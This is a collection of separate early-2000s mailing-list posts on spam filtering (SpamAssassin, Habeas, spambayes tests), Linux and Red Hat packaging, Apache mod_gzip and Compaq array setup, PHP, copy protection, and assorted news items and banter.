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On Thu, 19 Sep 2002, Bill Stoddard wrote:
--]How likely are you to change someone's mind by being
--]rude and disrespectful to them? Is this how to win friends and influence
--]people?
Point the first, I doubt if they are trying to change Rumsy's mind but
rather to show others that there is a vocal and violent opposition to his
views. With such flagrant showings of opposition there would be more
coverage of the opposing ideas and thus the spreading of the dissenting
meme. A viri need not comply with the wishes of the attacked host, rather
the host had better make some antibodies or learn to adapt.
Point the second. Historicaly the "in yer face" mode of confrontation has
been used to gain popular support and to grow from seeds "grass roots"
movements. Witness the big bold "in yer face" signature of Hancock on the
"in yer face" Declaration of the american colonies to the governing
powers of england. Witness also the chicago seven, Others will follow in
examplare form upon digging.
Now point the third, is it annoying? Yes, and if your annoyed then the "in
yer facers" have done thier job. Sad to say the polite persnikiters are
teh very fule the "in yer facers" hope to ignite. If your burning, your
being used.
Pointed the personal...The politics of the polite are more often the
refuge of backstabings, closed mouth recourlessness and hypocritcal
behavoirs. Id rather hear what those who oppose me have to say than
quietly be knifed by the slow hand of the coward.
Seek not the polite or impolite but rather the reasons why.
-tom
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Dan Kohn <[email protected]> writes:
> Guys, the Habeas Infringers List (HIL) exists explicitly to deal with
> spammers while we're getting judgments against them and especially in
> other countries, where those judgments are harder to get.
My concern doesn't stem from failing to understand how your business is
intended to work. My concern is the lack of empirical evidence that it
will reduce the amount of uncaught spam.
> Please note that nobody has ever had an incentive before to go after
> regular spammers. Yes, some attorneys general have prosecuted blatant
> pyramid schemes, and ISPs have won some theft of service suits, but
> the vast majority of spammers go forward with out any legal hassles.
> So, I can't understand how Daniel can assert that you can't track
> spammers down when it's never really been tried.
Please don't misquote me. I did not assert that you "can't track
spammers". Here is what I said:
| It will be difficult to find, prosecute, and win money from someone in
| various non-friendly countries where spam originates (China is a good
| example) even if they do officially "respect" copyright law.
I understand the incentive that you have to pursue spammers, but that
does not directly translate to less spam being sent to my inbox. It is
an indirect effect and the magnitude of the effect may not be sufficient
to counteract the ease with which a -20 score on the mark allows spam to
avoid being tagged as spam.
> Daniel, it's easy enough for you to change the Habeas scores yourself
> on your installation. If Habeas fails to live up to its promise to
> only license the warrant mark to non-spammers and to place all
> violators on the HIL, then I have no doubt that Justin and Craig will
> quickly remove us from the next release. But, you're trying to kill
> Habeas before it has a chance to show any promise.
I think I've worked on SA enough to understand that I can localize a
score. I'm just not comfortable with using SpamAssassin as a vehicle
for drumming up your business at the expense of our user base.
I think it would make more sense to start Habeas with a less aggressive
score (one which will not give spammers a quick path into everyone's
inbox) and after we've seen evidence that the system works, then we can
increase the magnitude of the score.
Dan
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wintermute wrote:
>>Anyone know where in Ireland I can get a replacement external dongle
>>for a Xircom CE3B-100 PCMCIA NIC?
>>
>>Failing that, who delivers fastest to Ireland?
>>
>>Regards,
>>
>>Vin
>
> I went into Maplin looking for exactly this sort of thing, only to be told I
> would have to by a whole new card.....
> Buy & Sell I'd say else just by a new NIC...(which I didn't do) I just live
> with the fact I have to angle the CAT 5 at a certain angle to my NIC or the
> dongle will fall out!
Well, I went hunting online and it is definitely possible to get
replacement dongles, specifically for this card but also for
others.
Tricky though ;-)
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I attended the same conference, and was impressed by a few systems that
Jim didn't mention. In terms of CMS, the following all had apparently
been used in some fairly large implementations and looked like some
pretty strong competition to commercial systems:
- Midgard, http://www.midgard-project.org/ , a PHP-based content
management framework that with other programs combines to be a full CMS
- Redhat CCM CMS, Java-based: http://www.spamassassin.taint.org/software/ccm/cms/
- OpenCMS, Java-based: http://www.opencms.org
There was agreement that usability has not generally been an open source
strength, but both Plone and Xopus represented some real movement
towards improving that situation.
I was impressed by the spectrum of perspectives on XML. Some took for
granted that XSLT was relevant to content management, others took it
just as for granted that XSLT was irrelevant and seemed happy to ignore
XML almost completely.
I attended realizing that "content management" is generally used to
apply to *Web* content management, but I was still a bit shocked how
completely out of scope document management was (almost no consideration
of the potential print/PDF dimension to content other than the
occasional "...and you can use FOP to make PDF" as if that was
functional): this seems more the case in open source content management
than in commercial content management, and probably makes XML easier to
ignore (if HTML is the be-all and end-all of the output...).
The honesty was refreshing, Phil Suh complained about the state of
current tools (both open source and commercial), and I wish I'd written
down what he said, something like "it sucks so extremely, it sucks so
widely, and it is so generally sucking, that it seems sometimes there is
no hope." For a moment there was contemplation that perhaps commercial
systems scaled so well that the commercial "big boys" were really much
more functional than open source, until someone pointed out, "OK, take
some average blog software, spend $500,000 on the rollout... it'll scale
pretty well." Another quote (citing Brendan Quinn): "content management
problems are either trivial or impossible."
Mac OS X is getting popular, of the laptops there it was an even 1/3
each of Mac, Linux, Windows.
I am sure it wasn't news to Jim, but I can't wait to try Subversion, a
CVS replacement that supports some of the newer features of WebDAV:
http://subversion.tigris.org/
I'm also eager to try Xopus, I hope the developers make it back home
safely, they said they'd only been in America four days but were already
homeless...
Max
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On Mon, 22 Jul 2002 the voices made Olivier Nicole write:
> >How would forgeries (e.g. viruses) be detected? Would there be an
> >"oops-I-didn't-mean-to-submit-that" option somehow?
>
> Real viruses are filtered before they reach any mailbox for delivery.
>
> Tose two addresses could be accessible only for internal mail.
>
> And as a user is using this mechanism to build his own database of
> spam/non-spam, that's his problem is he sumbit something wrong.
>
> BTW, same forgery or wrong submission problems would exist if each
> user had his own set of 2 addresses.
Not really, because you could use [user]-[action]-[passw]@domain.tld; instead
of letting 100'000 other users mess with your settings; not to mention virii
that randomly pick sendernames from addressbooks and the future virii that
target these "not spam"-functions...
/Tony
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Hire a really talented skywriter to doodle nudie pics in the sky and see
if they figure out what to charge you with. Exactly how far into the sky
does the border of your local district reach?
> > If the creator didnt say you could have it without paying, it's theft,
> > so simple, hell that's even in all the major holy books.
>
> Wow, I've got a great idea! I'll hire a skywriter to write "you can't
> look at this without paying," then lock up everybody who looked at it
> and didn't pay! It can't fail -- Jesus is on my side!
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Im feeling a bit farklempt having spent the night at Todais with the
family so talk amongst yourself..here Ill give you a topic
The current state of IT can be thought of in terms of the Cold war with
the US and the UUSR being MS and Sun/IBM/OSS (does it matter which side
is which?), Apple as Cuba and the US legal system as the UN.
Discuss.
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Inn Share wrote:
> Hi,all:
>
> Does anyone know how to list the biggest file in my
> root directory?or the second biggest ..etc...
>
> Because I want to find out what is the reason cause my
> root all most full.
>
> The system is Solaris 8 Sparc.
>
> Thanks !!!
I think everybody has their own version of this,
but in case it's useful.. (only tested on Linux):
find $* \( -type f -o -type l \) -maxdepth 1 -mindepth 1 -print0 |
xargs -r0 du -b --max-depth 0 |
sort -k1n |
grep -v "^0"
Pádraig.
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Geege wrote a strange story:
>I know a guy who in attempting to loosen a nut at the base of the toilet
>tapped it with a wrench, cracked the bowl in HALF, and, to prevent a flood,
>held the bowl together with his knees until his wife returned from work
>quite some time later.
The bowl doesn't hold that much water. I
would have let it spill, and then cleaned
it up. Even the tank only holds a gallon,
if new, or three, if old.
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They are legally required to do that. I got a similar check because an
insurance company didn't pay a claim quickly enough. It might have been
$.02.
Although they spent lots more than $.33 to mail you the check, the
alternative seems to be to keep the money. Do you really want companies
to have a financial incentive to over-bill you 'just a bit' so they
could keep it? For a company with millions of customers, $.33/customer
starts adding up.
> From: [email protected] [mailto:[email protected]] On Behalf Of
> [email protected]
> So I get a check from Pac Bell today (SBC as they're called now).
> Turns out, they went to the trouble of printing out, signing, sealing
> and stamping a check just to refund me for a whole $0.33.
>
> They easily spent more than this just getting the materials together.
> Why the hell do companies bother to do this crap? I mean, isn't there
> a bottom line in terms of cost effectiveness? I don't think I missed
> the .33, but I sure as hell would have appreciated lower rates in lieu
> of being returned pennies.
>
> I'm truly stuck on this though. I don't know whether to frame the
> check, burn it, or cash it in. Maybe I should find a way to return to
> sender, so they have to spend -more- money on giving me my .33 dues.
>
>
> Does .33 even buy anything anymore? Funny bit of it, is I couldn't
> even make a phone call these days.
>
> *boggled*
> BB.
>
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BAD MSG:
> And you get a working version of your favourite KDE/Gnome desktop
> > instead of DTE, uhm, I mean CDE.
>
> um.. http://wwws.sun.com/software/star/gnome/ integrated into solaris.
Yeah yeah yeah. I tried it (over a year ago) and it sucked like a new vacuum
cleaner. Although I expect that it will be a lot better by now. What I would
really like to see is Gnome on one of the Sun Ray thin terminals.
> Out of curiosity, does `normal fashion` mean that you still have to do the
> interactive customisations or is it like Solaris jumpstart where you can
> specify everything on the install server, do `boot net - install` go home,
and
> come in to a fully installed and patched desktop the next morning?
Er, I mean normal fashion for a Linux install. This would be distro
specific, anyway.
I am sure it would be possible to do an automated install with a few script
changes. I would not be surprised if Debian does this already.
I do know that if you pass extra parameters on the boot command, they are
picked up by silo. So:
boot disk linux
would not prompt for selection but would boot straight through. From there
it is a matter of tftp'ing the correct config file and the install would be
automatic from there on.
> I don't see why this should be a _major problem. The prom (ie the "ok"
> prompt)
> is almost at the hardware level and hence dosent depend on the os so you
> should be able to connect to that easily enough. Once the machine is
installed
> cant you just log in over the network? The network is the computer after
all
> (sorry couldn't resist!)
The problem is that the time between linux booting and when the console tty
drivers are started can be a black hole, without error messages or log in
prompts. The other problem is that sometimes Linux will drop in to the PROM
on shutdown instead of powering off or rebooting. Without a serial cable or
keyboard it is not possible to reboot the box without flicking the power
switch hidden at the back of the case.
I think if the console is ttya/ttyS0 it will drop into PROM. If it is
/dev/null then you do not get console messages but the box will shut down
properly.
- Matthew
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http://news.bbc.co.uk/1/hi/world/europe/2541827.stm
Wednesday, 4 December, 2002, 08:52 GMT
Bomber targets Dutch Ikea stores
Police in the Netherlands are searching all 10 outlets of the Ikea furniture
chain in the country, after finding bombs in two stores.
The devices were discovered in Amsterdam and Sliedrecht, near the port city
of Rotterdam on Tuesday evening.
The Sliedrecht bomb exploded at a police station, injuring two policeman.
Police have also closed off a motorway section in the central city Utrecht,
near a third IKEA store where a suspicious package was found.
No information about the motive behind the attacks has been released.
"We decided together with the police because of safety reasons that the
company's stores in the Netherlands would be closed today," said Ikea
spokeswoman Helen van Trearum.
"We don't want to take any risks. We are taking this very seriously," she
added.
Ikea - a Swedish-based group - is one of the world's largest furniture
retailers, with stores in more than 30 countries.
Meanwhile, the Amsterdam head office of the Dutch news agency ANP was
evacuated on Wednesday, after police warned that a bomb might have been
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>>>>> "R" == Robert Harley <[email protected]> writes:
R> Another one fizzles out...
You sound disappointed. Don't worry, there will be lots more.
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On Mon, 22 Jul 2002 09:42:18 +0200, "Nils O. Selåsdal" <[email protected]> wrote:
> Just for your information, I have an apt-repository for RH 7.3 at
> http://utelsystems.dyndns.org
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Your page has a typo;
http://utelsystems.dyndns.org lists:
rpm http://utelsystems.dyndns.org/apt redhat testingrh73
rpm-src http://utelsystems.dyndns.org/apt redhat testing73 <--
This is why I'm so stubborn about using cut-and-paste; not only is it easy, it's typo-free. :)
Wouldn't it be nice if there was a way to manage these automagically? Some central site to make them available to the rest of the world, every time there's a "apt-get update"? :)
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Here's clarification of why I did:
First test results using tokenizer.Tokenizer.tokenize_headers()
unmodified.
Training on 644 hams & 557 spams
0.000 10.413
1.398 6.104
1.398 5.027
Training on 644 hams & 557 spams
0.000 8.259
1.242 2.873
1.242 5.745
Training on 644 hams & 557 spams
1.398 5.206
1.398 4.488
0.000 9.336
Training on 644 hams & 557 spams
1.553 5.206
1.553 5.027
0.000 9.874
total false pos 139 5.39596273292
total false neg 970 43.5368043088
Second test results using mboxtest.MyTokenizer.tokenize_headers().
This uses all headers except Received, Data, and X-From_.
Training on 644 hams & 557 spams
0.000 7.540
0.932 4.847
0.932 3.232
Training on 644 hams & 557 spams
0.000 7.181
0.621 2.873
0.621 4.847
Training on 644 hams & 557 spams
1.087 4.129
1.087 3.052
0.000 6.822
Training on 644 hams & 557 spams
0.776 3.411
0.776 3.411
0.000 6.463
total false pos 97 3.76552795031
total false neg 738 33.1238779174
Jeremy
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On Sat, 20 Jul 2002 12:06:35 BST, Greg Farrel said:
>
>D'oh. I ment to say that I cant use a laptop, as I have a pci wireless
>card and the cable for it (about 180 dollars). So it has to be a pc, with
>a pci 2.2 connector (ie some pentiums, and anything above)
There's some place in the UK that sells loads of silent gear...
can't remember the name though... a google for "silent pc" or the
like should turn it up.
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First seen on Dave Winer's Scrpiting News (www.scripting.com) Details here:
http://www.digichapman.com/index.php?permalink=67
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Linux: the film.
http://www.revolution-os.com/ (trailer + first 8 mins online)
I wonder if this will ever get to Ireland? Otherwise, I wonder if it would
be possible to get the Trinity Internet Society or somewhere to show it?
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> er, i understood you until you reached the above. Maybe its my lack of
> PHP but why would a variable name _need_ to end with [] ?
>
> With most languages you parse the submitted form data and should come
> out with either variables or an array / hash, which you then work with
> and name whatever you like.
IIRC, if the query string contains
varname=FIRST&varname=SECOND
then PHP will create a variable called "varname" with result SECOND.
However, if the query string contains
varname[]=FIRST&varname[]=SECOND
then PHP will create an array with varname[1]==FIRST and varname[2]==SECOND
There are other ways to get the data from the HTTP request, and I guess
I'll do that if it turns out to simplify the script that creates the
form; but as i understand it that's the "official" way to get data from
a SELECT MULTIPLE using PHP.
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Tim> I gave it all the thought it deserved <wink>. It would be
Tim> wonderful to get several people cranking on the same test data, and
Tim> I'm all in favor of that. OTOH, my Data/ subtree currently has
Tim> more than 35,000 files slobbering over 134 million bytes -- even if
Tim> I had a place to put that much stuff, I'm not sure my ISP would let
Tim> me email it in one msg <wink>.
Do you have a dialup or something more modern <wink>? 134MB of messages
zipped would probably compress pretty well - under 50MB I'd guess with all
the similarity in the headers and such. You could zip each of the 10 sets
individually and upload them somewhere.
Tim> Can you think of anyplace to get a large, shareable ham sample
Tim> apart from a public mailing list? Everyone's eager to share their
Tim> spam, but spam is so much alike in so many ways that's the easy
Tim> half of the data collection problem.
How about random sampling lots of public mailing lists via gmane or
something similar, manually cleaning it (distributing that load over a
number of people) and then relying on your clever code and your rebalancing
script to help further cleanse it? The "problem" with the ham is it tends
to be much more tied to one person (not just intimate, but unique) than the
spam.
I save all incoming email for ten days (gzipped mbox format) before it rolls
over and disappears. At any one time I think I have about 8,000-10,000
messages. Most of it isn't terribly personal (which I would cull before
passing along anyway) and much of it is machine-generated, so would be of
marginal use. Finally, it's all ham-n-spam mixed together. Do we call that
an omelette or a Denny's Grand Slam?
Skip
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>> ... choose something with a different prefix than "X-Spam-" so that
>> people don't confuse it with SpamAssassin ...
Neale> How about X-Spambayes-Disposition (or X-Hammie-Disposition if
Neale> there'll be other classifier front-ends)?
I kinda like "hammie". Your front end was there first, so I suspect it will
rule the front end roost.
S
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Once upon a time, Ville wrote :
> how about applying this to the default apt.conf shipped with the
> freshrpms.net apt package? I found it a bit weird when the behaviour
> changed between the old 0.3.x and the new 0.5.x versions so that when
> doing a "apt-get upgrade", it wouldn't tell me *which* packages were to
> be upgraded, just that it was about to upgrade something...
Indeed, I found that strange too, then I noticed the "-u" switch and used
that... but your solution is much better :-) The next apt build will
incorporate this change (not worth a rebuild for this, and as some
relatively important cnc7 bugs are currently being fixed, I'd say cnc8
isn't far off!).
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> I don't understand. How does sorting one folder add messages to
> other folders? What do you use to sort?
>
Sorry I wasn't clear. I am transferring messages from my inbox to other folders
and since I am doing it from most recent to oldest, they appear in those
folders in the wrong order and need re-sorting.
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There's nothing you can know that isn't known.
Nothing you can see that isn't shown.
Nowhere you can be that isn't where you're meant to be.
It's easy.
All you need is HTML.
By way of proof, there are no jpgs, gifs, pngs, etc here...
http://www.anagrammy.com/anagflag.html
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Bill Stoddard wrote:
>>No one likes commercial spam.
>>
>>
>And no one like unsolicited political spam. End of story.
>
>Bill
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>
Except perhaps for the people in charge.
Owen
http://zdnet.com.com/2100-1105-954903.html
*Political spam on your cell phone?*
By Lisa M. Bowman <mailto:[email protected]>
Special to ZDNet News
August 22, 2002, 12:05 PM PT
URL: http://zdnet.com.com/2100-1105-954909.html
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*In a decision that treats text messaging on mobile phones essentially
the same as bumper stickers, the Federal Election Commission has
declared that senders of text-based political ads don't have to disclose
who funded them.*
In an advisory opinion issued Thursday, the FEC also suggested such
messages include either a phone number or Web site link, so people could
easily learn who paid for the message. However, the additional
information won't be required.
The opinion could encourage the adoption of text-based political ads, as
campaign experts look for new technological ways to sway voters. At the
same time, opponents of the plan fear it could lead to anonymous
political spam.
Target Wireless, a small New Jersey-based wireless media company, had
asked the FEC for an opinion on the matter, saying that requiring
financial disclosures on short messaging service (SMS) mailings would
use up too much of the 160 character-maximum.
Political messages on bumper stickers and buttons are also exempt from
the financial disclosure requirement. Target Wireless' petition was
supported by the National Republican Senatorial Committee, the Cellular
Telecommunications and Internet Association, and some advertising trade
groups.
FEC spokesman Bob Biersack said the opinion was in keeping with the
commission's policy not to meddle with new technology that has the
potential to reach more voters.
"We have tried very hard not to get in the way--particularly before
everyone understands how the technology is going to work," he said.
Opponents of the plan have worried the exemption might encourage spam or
allow senders to blast people with mass amounts of negative political
messages while remaining anonymous.
Biersack said the FEC can revisit the issue if those problems surface.
Target Wireless President Craig Krueger characterized the opinion as
"good for America."
"It will allow people to receive more communication from those running
for office," he said. "We have free speech on our side."
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On Thu, 2002-08-22 at 19:10, Troy Engel wrote:
> Today an apt-get upgrade holds back php (and submodules, like php-imap).
> Running an apt-get install php to see what's up, I get:
>
> # apt-get install php
> Processing File Dependencies... Done
> Reading Package Lists... Done
> Building Dependency Tree... Done
> The following extra packages will be installed:
> curl-devel imap imap-devel mysql mysql-devel php-imap php-ldap postgresql
> postgresql-devel postgresql-libs pspell-devel ucd-snmp-devel
> ucd-snmp-utils
> unixODBC unixODBC-devel
> The following NEW packages will be installed:
> curl-devel imap imap-devel mysql mysql-devel postgresql postgresql-devel
> postgresql-libs pspell-devel ucd-snmp-devel ucd-snmp-utils unixODBC
> unixODBC-devel
> The following packages will be upgraded
> php php-imap php-ldap
> 3 packages upgraded, 13 newly installed, 0 to remove(replace) and 1 not
> upgraded.
>
> Anyone have an idea what the heck RedHat did here, and why we're now
> trying to install a ton of crap I don't want? (I'm hoping someone else
> has chased this down and could save me time... ;) )
>
rh bugzilla 72007
thats the answer
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Have you tried rebuilding your package on a system that has a stock (or
no) .rpmmacros file? Does it still build (and install/uninstall) the way
you intended it to?
On Tue, 2002-08-20 at 09:38, Torsten Bronger wrote:
> Halloechen!
>
> At the moment I create an RPM that also adds some files to
> teTeX's texmf/ tree.
>
> Therefore I defined in my .rpmmacros a %texhash that
> calls texhash if it exists and in the spec file
>
> %post
> %{texhash}
>
> %postun
> %{texhash}
>
> But this is a costly operation. Is it nevertheless worth it?
> In particular, if this RPM is installed together with (very many)
> others, are those %pre, %post etc. skipped and an 'omnipotent'
> script called that e.g. updates TeX's file database?
>
> Tschoe,
> Torsten.
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On Thu, 8 Aug 2002, Adam L. Beberg wrote:
--]Yea, Apple sucks, my crappy iMac hasn't crashed once in 2 years.
When all you do on it is pout on emaillists and watch asain bukaky porn
wheres the strain?
Striken as anecdotal...oh and I had a win98 box running wsmf server stuffs
(apache, dbs, shoutcast etc) up on dsl without so much as a hicup for over 1.5 years
other than the various game realted hijinks tribes would pull. So if its
raw uptime ou want,....tools and craftsman time. Thus once again uptime
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On Thu, 2002-10-03 at 08:16, Mark Derricutt wrote:
> Anyone know where one could get rpms for alot of the python libraries for=
=20
> 2.2?
>=20
> Its darn annoying the way RH ship python 1.5.2 and python 2.2 (as python2=
)=20
> and libs that only work with one or the other :(
>=20
> esp. the pgdb and xml modules.
>=20
> Anyone know why Red Hat insist on sticking with python 1.5.2?
>
they are on python 2.2 for 8.0 - but they don't like to break
compatibility during major releases.
therefore: 6.X was 1.5.2 b/c that was current
7.x was 1.5.2 b/c that was current when 7.0 was released.
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Forgive me for being a partially stupid end-user of this fantastic
spam fighting software.
I was looking at my spamd debug output today, and noticed that it ran
through Razor2 stuff, and then it ran through dccproc, and then it tried to
go through old Razor1 stuff. I'm assuming (and please correct me if I'm
wrong) that Razor1 is out dated and was to be replaced entirely by Razor2.
If that's the case, can someone please point me to something that explains
how to remove Razor1 from my system? I don't see a point in envoking it.
Especially when it appears to error out on me.
debug: Razor1 is available
debug: entering helper-app run mode
debug: Razor Agents 1.19, protocol version 2.
debug: 170803 seconds before closest server discovery
debug: Agent terminated
Problem while trying to load Razor1: Permission denied at
/usr/local/lib/perl5/site_perl/5.6.1/Mail/SpamAssassin/Dns.pm line 288.
debug: leaving helper-app run mode
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two seperate projects this weekend. first mod_gzip which is an apache
module to speed up serving static and dynamic mime(text/.*) web content.
the second is the compaq smart array configs for linux.
before i go on much more i'll cover the following bits: the server
is running redhat 7.3 linux with all the updates on a compaq dl380.
the client is running the same on a compaq laptop. pretty much everything
is stock redhat 7.3 - and i'm consciously trying to stick to that.
------------------------------------------------------------------------
mod_gzip:
there's a tutorial on linux.ie for it (thanks donnacha) but since i'm
not an apache person this only got me part of the way. step by step,
this is what i did:
# cd /root
# wget http://www.remotecommunications.com/apache/mod_gzip/src/1.3.19.1a/mod_gzip.c.gz
# gunzip mod_gzip.c.gz
# apxs -ic mod_gzip.c
that should compile and install fine, so add the following to
your apache configs. i've included comments to explain where they
should go. my apache config is split among many files (which is
why i didn't use the -a flag to apxs).
# put this after the last LoadModule line
LoadModule gzip_module /usr/lib/apache/mod_gzip.so
# put this after the last LoadModule line
AddModule mod_gzip.c
# this just needs to go below the obove two lines.
<IfModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_minimum_file_size 300
mod_gzip_maximum_file_size 0
mod_gzip_item_include file \.htm$
mod_gzip_item_include file \.html$
mod_gzip_item_include file \.txt$
mod_gzip_item_include file \.php$
mod_gzip_item_include file \.php3$
mod_gzip_item_include file \.php4$
mod_gzip_item_include file \.pl$
mod_gzip_item_include mime text/.*
mod_gzip_item_include mime httpd/unix-directory
mod_gzip_item_include handler ^perl-script$
mod_gzip_item_include handler ^server-status$
mod_gzip_item_include handler ^server-info$
mod_gzip_item_exclude file \.css$
mod_gzip_item_exclude file \.js$
mod_gzip_item_exclude mime ^image/.*
mod_gzip_dechunk yes
# mod_gzip_min_http 1000
mod_gzip_temp_dir /tmp
mod_gzip_keep_workfiles No
LogFormat "%h \"%f\" %{mod_gzip_result}n %{mod_gzip_input_size}n %{mod_gzip_output_size}n %{mod_gzip_compression_ratio}npct." mod_gzip_logs
CustomLog logs/compression_log mod_gzip_logs
</IfModule>
finally, poke apache:
# service httpd reload
and after you've viewed some pages and check
/var/log/httpd/compression_log in order to see if it's working.
if you have /server-info avilable you should see that mod_gzip
is loaded. a compressed line and a non-compressed line might look
like this:
roo "/.../ssl_glossary.html" OK 15092 4726 69pct.
roo "/.../ssl_template.head-num-7.gif" DECLINED:EXCLUDED 0 0 0pct.
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compaq smart array config: (WARNING: YOU NEED A JVM FOR YOUR BROWSER)
i searched on google for "compaq smart array configuration linux" and
got a slew of hits. one of them was a click away from this page:
http://www.compaq.com/support/files/server/us/download/14703.html
i downloaded the rpm. installed it. and ran the server per the
instructions. note, the -R enables remote connections. if you're
running the browser locally, run it without the -R and connect
to localhost.
cpqacuxe -R
i found that galeon didn't work. mozilla did. i suspect it's because
pop-ups are disabled in galeon config, but i might be wrong. it uses
java which is slow and memory hungry on this laptop. feel free to
try galeon with pop-ups enabled if you want to.
so, point mozilla at http://yourserver:2301/ . login as
administrator/administrator and change your password. then go back
to the main page and click the little drive array graphic towards
the bottom. configure your array as you want (i had to add a disk).
save your changes, and exit. to stop the server, just do this:
cpqacuxe -stop
in my case the drive was now accessible. i started the process of
making the file systems by partitioning the drive. i knew what
it would be called, but a grep for ida on the output of dmesg
confirmed it.
fdisk /dev/ida/c0d1
and from there i built the filesystems and so on.
hope this helps some folks,
kevin
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Not fortean, but a moment in time all the same...
http://news.bbc.co.uk/1/hi/entertainment/film/2220972.stm
Betamax video recorders are finally being phased out almost 20 years after
losing the battle for dominance of the home video market to VHS.
Betamax's manufacturer, Sony, has announced that it will make only 2,000
more machines for the Japanese market.
They have not been on sale in the rest of the world since 1998.
VHS became the dominant format by the mid-1980s
Betamax was launched in 1975, and won many fans who said it was better
quality than its VHS rival.
Some 2.3 million Betamax machines were sold worldwide in its peak year,
1984, but it soon went downhill as VHS became the format of choice for the
film rental industry and in homes.
Just 2,800 machines were sold in the 12 months to March 2002.
"With digital machines and other new recording formats taking hold in the
market, demand has continued to decline and it has become difficult to
secure parts," Sony said in a statement.
Sony said it would continue to offer repairs and manufacture tapes for the
format.
The professional Betamax format, Betacam, is still widely used in the
television and film industries and will be unaffected.
But the recent rise of DVDs seems to have put the final nail in the coffin
for Betamax home players.
In the 1980s, many video rental chains preferred the VHS format.
Betamax lovers became so passionate about the format in the face of
competition from VHS that they set up the Betaphile Club in 1988.
The picture and sound quality of Beta was superior to VHS, Betaphiles say,
although VHS tapes had a longer duration.
A total of 18 million Betamax machines were sold around the world, but no
new ones will be made after the end of 2002.
Sony is now planning to focus its efforts on new digital technologies.
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Yannick Gingras wrote:
> > What do you mean by "CD-Key or the like" (I presume that "of" was a
> > typo)? And what do you mean by "unbreakable"?
>
> "of" was a typo
>
> Unbreakable would mean here that no one, even previously authorised entity,
> could use the system without paying the periodic subscription fee.
>
> > You need to be far more explicit about the problem which you wish to
> > solve, and about the constraints involved.
>
> It could be an online system that work 95% offline but poll frequently an
> offsite server. No mass production CDs, maybe mass personalised d/l like Sun
> JDK.
>
> Nothing is fixed yet, we are looking at the way a software can be protected
> from unauthorized utilisation.
>
> Is the use of "trusted hardware" really worth it ?
Answering that requires fairly complete knowledge of the business
model. But, in all probability: no, it isn't usually worth it. So, it
comes down to how difficult you want to make the cracker's job.
If the product requires occasional authentication, simple copying
won't work; the product has to be cracked. In which case, the issue is
whether you're actually going to enter into battle with the crackers,
or just make sure that it isn't trivial.
A lot of it comes down to your customer base. Teenage kids tend to be
more concerned about cost and less concerned about viruses/trojans,
and so more willing to use warez. Fortune-500 corporations are likely
to view matters differently.
> Does it really make it more secure ?
Yes; software techniques will only get you so far. Actually, the same
is ultimately true for hardware, but cracking hardware is likely to
require resources other than just labour.
Almost (?) anything can be reverse engineered. But it may be possible
to ensure that doing so is uneconomical.
> Look at the DVDs.
IIRC, CSS was cracked by reverse-engineering a software player; and
one where the developers forgot to encrypt the decryption key at that.
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Grats, Daddy-o!
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On Sat, 27 Jul 2002, Tom wrote:
>
> Off we go to the hospital
>
> Benjamin Wallace Higgins is on his way.
>
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close enough.]
Quoting Alan Horkan ([email protected]):
> More likely we would try and get it when it comes out on video/dvd and
> show it then (which AFAIK is legal as we are non profit private
> organisation having a private showing and not charging our members for
> the showing. any opinions on the legality of this should be sent
> offlist).
One bloke's opinion:
Date: Sat, 01 Jun 2002 00:18:29 -0700
From: "J.T.S. Moore" <[email protected]>
Reply-To: [email protected]
To: Marc MERLIN <[email protected]>,
Daniel Isacc Walker <[email protected]>
CC: [email protected], Rick Moen <[email protected]>, [email protected],
Peter Belew <[email protected]>, "Eric A. Perlman" <[email protected]>,
[email protected], [email protected]
Subject: REVOLUTION OS is now authorized for UC Santa Cruz screening
To all,
I have read the series of e-mails related to the unauthorized UC Santa
Cruz screening that was scheduled for June 1. I sincerely appreciate
IEEE's good faith effort to correct the mistake.
Consequently, so as not to inconvenience the people planning to attend
the screening, I want to give IEEE and SlugLUG permission to screen
REVOLUTION OS at 1 PM on June 1. I would ask the members of SVLUG to
hold off on attending the screening for the simple reason that I am
trying to get REVOLUTION OS booked into the Camera 3 in San Jose, and I
would prefer that SVLUG's members have a chance to see a nice 35mm print
of the film. If my distributor is unable to book the film into a
theater in the Bay Area, I promise that I will work with SVLUG to
quickly set up a screening for its members.
I realize there may be some members of SlugLUG who are unhappy that I
originally requested that they not hold an unauthorized screening of
REVOLUTION OS. There are several reasons why I made the request, and
none of them have anything to do with me wanting to be a jerk.
One SlugLUG member commented that it was odd that a movie about the Open
Source movement would not be available for open viewings. Another
SlugLUG member remarked that my request smacks of Bill Gates's Open Letter
to Hobbyists.
The bottomline is that I did make a film about the Open Source movement,
but to assume that automatically means that the film is itself Open
Sourced seems to be a little bit of a stretch. If I made a movie about
the history of vegetarianism that would not automatically mean I'm a
vegetarian.
I simply thought Open Source and Free Software were compelling subjects
worth exploring and documenting. As a result, I came to admire many
aspects of the Open Source movement and chose to focus the documentary
on the movement's positive history. However, I do not think I should be
punished for telling the story of Free Software and Open Source by
having my intellectual property misappropriated. More practically, my
feelings about Open Sourcing REVOLUTION OS are abundantly clear when you
see the explicit copyright notice at the end of the film's credits.
I realize that making a videotape copy for personal use from a TV airing
is considered fair use. I believe in a healthy fair use doctrine.
However, there is a big difference between viewing your personal copy at
home with a few friends and holding a publicly advertised screening on a
university campus. So I freely admit my objection to unauthorized
screenings of REVOLUTION OS does echo Bill Gates's letter. Personally, I
believe that the creator of a piece of intellectual property should
retain the choice to Open Source their IP. If the Open Source movement
is not voluntary then it is really just piracy.
One of the reasons I am concern with unauthorized group screenings of
the film, is that my distributor is planning in a few weeks to begin
selling VHS copies of the film for educational/institutional use with a
license permitting noncommercial large group screenings. We hope to use
the money from these sales to fund the authoring and replication of the
DVD. I want to release the DVD as soon as possible, but I cannot afford
to take on anymore REVOLUTION OS-related debt. Thus the importance of
preserving the educational/institutional market.
Frequently, I will read comments on Slashdot and other mailing lists
that justify the piracy of music on the grounds that it benefits the
artists and only hurts the greedy record labels. Well, in the case of
REVOLUTION OS there is no multinational media conglomerate to punish.
It's just me. I made and financed the film on my own. I have worked
full-time for almost three years without a salary. The only way I will
get out of debt and have a chance to make another film is if people seek
out legal opportunities to view REVOLUTION OS.
I truly appreciate the enthusiasm of the Open Source community for
REVOLUTION OS, and I am grateful that people do want to see it. If you
will just bare with me, I will figure out a way for all interested
persons to legally view it.
I hope the dust up over the unauthorized, and now authorized, screening
at UC Santa Cruz has not inconvenienced anyone.
Sincerely,
J.T.S. Moore
Director, REVOLUTION OS
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[Tim]
> ...
> I'd prefer to strip HTML tags from everything, but last time I
> tried that it still had bad effects on the error rates in my
> corpora (the full test results with and without HTML tag stripping
> is included in the "What about HTML?" comment block). But as the
